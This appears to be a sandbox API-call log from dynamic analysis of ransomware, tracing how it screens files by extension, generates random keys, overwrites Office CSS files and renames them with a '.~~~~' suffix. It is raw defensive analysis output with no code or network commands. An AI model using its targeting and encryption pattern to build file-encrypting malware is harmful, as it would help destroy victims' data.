	[0137.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".pif") returned 0x0
	[0137.921] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.923] lstrlenW (lpString=".sqb") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".sqb") returned 0x0
	[0137.923] lstrlenW (lpString=".ost") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".ost") returned 0x0
	[0137.923] lstrlenW (lpString=".txt") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".txt") returned 0x0
	[0137.923] lstrlenW (lpString=".mdt") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".mdt") returned 0x0
	[0137.923] lstrlenW (lpString=".BDB") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".BDB") returned 0x0
	[0137.923] lstrlenW (lpString=".eql") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".eql") returned 0x0
	[0137.923] lstrlenW (lpString=".DBF") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DBF") returned 0x0
	[0137.923] lstrlenW (lpString=".EQL") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".EQL") returned 0x0
	[0137.923] lstrlenW (lpString=".FDB") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".FDB") returned 0x0
	[0137.923] lstrlenW (lpString=".EDB") returned 4
	[0137.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".EDB") returned 0x0
	[0137.923] lstrlenW (lpString=".DACPAC") returned 7
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.924] lstrlenW (lpString=".VHD") returned 4
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".VHD") returned 0x0
	[0137.924] lstrlenW (lpString=".DBV") returned 4
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DBV") returned 0x0
	[0137.924] lstrlenW (lpString=".dacpac") returned 7
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dacpac") returned 0x0
	[0137.924] lstrlenW (lpString=".sdf") returned 4
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".sdf") returned 0x0
	[0137.924] lstrlenW (lpString=".accdb") returned 6
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".accdb") returned 0x0
	[0137.924] lstrlenW (lpString=".DBX") returned 4
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DBX") returned 0x0
	[0137.924] lstrlenW (lpString=".MDT") returned 4
	[0137.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".MDT") returned 0x0
	[0137.924] lstrlenW (lpString=".SQB") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".SQB") returned 0x0
	[0137.925] lstrlenW (lpString=".vhd") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".vhd") returned 0x0
	[0137.925] lstrlenW (lpString=".bac") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".bac") returned 0x0
	[0137.925] lstrlenW (lpString=".mdf") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".mdf") returned 0x0
	[0137.925] lstrlenW (lpString=".BAK") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".BAK") returned 0x0
	[0137.925] lstrlenW (lpString=".BAC") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".BAC") returned 0x0
	[0137.925] lstrlenW (lpString=".dbs") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dbs") returned 0x0
	[0137.925] lstrlenW (lpString=".vhdx") returned 5
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".vhdx") returned 0x0
	[0137.925] lstrlenW (lpString=".NDF") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".NDF") returned 0x0
	[0137.925] lstrlenW (lpString=".dat") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dat") returned 0x0
	[0137.925] lstrlenW (lpString=".DBS") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DBS") returned 0x0
	[0137.925] lstrlenW (lpString=".CKP") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".CKP") returned 0x0
	[0137.925] lstrlenW (lpString=".edb") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".edb") returned 0x0
	[0137.925] lstrlenW (lpString=".PST") returned 4
	[0137.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".PST") returned 0x0
	[0137.925] lstrlenW (lpString=".dbf") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dbf") returned 0x0
	[0137.926] lstrlenW (lpString=".SQL") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".SQL") returned 0x0
	[0137.926] lstrlenW (lpString=".pst") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".pst") returned 0x0
	[0137.926] lstrlenW (lpString=".dbv") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dbv") returned 0x0
	[0137.926] lstrlenW (lpString=".SDF") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".SDF") returned 0x0
	[0137.926] lstrlenW (lpString=".dtxs") returned 5
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dtxs") returned 0x0
	[0137.926] lstrlenW (lpString=".db3") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".db3") returned 0x0
	[0137.926] lstrlenW (lpString=".OST") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".OST") returned 0x0
	[0137.926] lstrlenW (lpString=".dbx") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dbx") returned 0x0
	[0137.926] lstrlenW (lpString=".DB3") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DB3") returned 0x0
	[0137.926] lstrlenW (lpString=".DAT") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DAT") returned 0x0
	[0137.926] lstrlenW (lpString=".VHDX") returned 5
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".VHDX") returned 0x0
	[0137.926] lstrlenW (lpString=".ndf") returned 4
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".ndf") returned 0x0
	[0137.926] lstrlenW (lpString=".DB") returned 3
	[0137.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DB") returned 0x0
	[0137.927] lstrlenW (lpString=".sql") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".sql") returned 0x0
	[0137.927] lstrlenW (lpString=".MYD") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".MYD") returned 0x0
	[0137.927] lstrlenW (lpString=".DBT") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DBT") returned 0x0
	[0137.927] lstrlenW (lpString=".ACCDB") returned 6
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".ACCDB") returned 0x0
	[0137.927] lstrlenW (lpString=".fdb") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".fdb") returned 0x0
	[0137.927] lstrlenW (lpString=".bak") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".bak") returned 0x0
	[0137.927] lstrlenW (lpString=".myd") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".myd") returned 0x0
	[0137.927] lstrlenW (lpString=".DTXS") returned 5
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".DTXS") returned 0x0
	[0137.927] lstrlenW (lpString=".ckp") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".ckp") returned 0x0
	[0137.927] lstrlenW (lpString=".dbt") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dbt") returned 0x0
	[0137.927] lstrlenW (lpString=".db") returned 3
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".db") returned 0x0
	[0137.927] lstrlenW (lpString=".TXT") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".TXT") returned 0x0
	[0137.927] lstrlenW (lpString=".MDF") returned 4
	[0137.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".MDF") returned 0x0
	[0137.927] lstrlenW (lpString=".bdb") returned 4
	[0137.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".bdb") returned 0x0
	[0137.928] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.928] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0137.929] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.929] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0137.930] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25791971273) returned 1
	[0137.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbba89e30, dwHighDateTime=0x1d60e1e)) 
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5118
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5118 | out: hHeap=0x300000) returned 1
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce6c8
	[0137.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce6c8 | out: hHeap=0x300000) returned 1
	[0137.930] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0137.931] GetLastError () returned 0x0
	[0137.931] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0137.931] GetLastError () returned 0x0
	[0137.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.934] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.936] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.936] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.936] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.936] CloseHandle (hObject=0x114) returned 1
	[0137.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce6c8
	[0137.936] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css.~~~~")) returned 1
	[0137.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce6c8 | out: hHeap=0x300000) returned 1
	[0137.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.939] GetLastError () returned 0x0
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".scr") returned 0x0
	[0137.939] lstrlenW (lpString=".cmd") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".cmd") returned 0x0
	[0137.939] lstrlenW (lpString=".dll") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dll") returned 0x0
	[0137.939] lstrlenW (lpString=".bat") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".bat") returned 0x0
	[0137.939] lstrlenW (lpString=".cpl") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".cpl") returned 0x0
	[0137.939] lstrlenW (lpString=".sys") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".sys") returned 0x0
	[0137.939] lstrlenW (lpString=".msc") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".msc") returned 0x0
	[0137.939] lstrlenW (lpString=".com") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".com") returned 0x0
	[0137.939] lstrlenW (lpString=".lnk") returned 4
	[0137.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".lnk") returned 0x0
	[0137.939] lstrlenW (lpString=".msp") returned 4
	[0137.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".msp") returned 0x0
	[0137.940] lstrlenW (lpString=".pif") returned 4
	[0137.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".pif") returned 0x0
	[0137.940] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.942] lstrlenW (lpString=".sqb") returned 4
	[0137.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".sqb") returned 0x0
	[0137.942] lstrlenW (lpString=".ost") returned 4
	[0137.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".ost") returned 0x0
	[0137.942] lstrlenW (lpString=".txt") returned 4
	[0137.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".txt") returned 0x0
	[0137.942] lstrlenW (lpString=".mdt") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".mdt") returned 0x0
	[0137.943] lstrlenW (lpString=".BDB") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".BDB") returned 0x0
	[0137.943] lstrlenW (lpString=".eql") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".eql") returned 0x0
	[0137.943] lstrlenW (lpString=".DBF") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DBF") returned 0x0
	[0137.943] lstrlenW (lpString=".EQL") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".EQL") returned 0x0
	[0137.943] lstrlenW (lpString=".FDB") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".FDB") returned 0x0
	[0137.943] lstrlenW (lpString=".EDB") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".EDB") returned 0x0
	[0137.943] lstrlenW (lpString=".DACPAC") returned 7
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.943] lstrlenW (lpString=".VHD") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".VHD") returned 0x0
	[0137.943] lstrlenW (lpString=".DBV") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DBV") returned 0x0
	[0137.943] lstrlenW (lpString=".dacpac") returned 7
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dacpac") returned 0x0
	[0137.943] lstrlenW (lpString=".sdf") returned 4
	[0137.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".sdf") returned 0x0
	[0137.943] lstrlenW (lpString=".accdb") returned 6
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".accdb") returned 0x0
	[0137.944] lstrlenW (lpString=".DBX") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DBX") returned 0x0
	[0137.944] lstrlenW (lpString=".MDT") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".MDT") returned 0x0
	[0137.944] lstrlenW (lpString=".SQB") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".SQB") returned 0x0
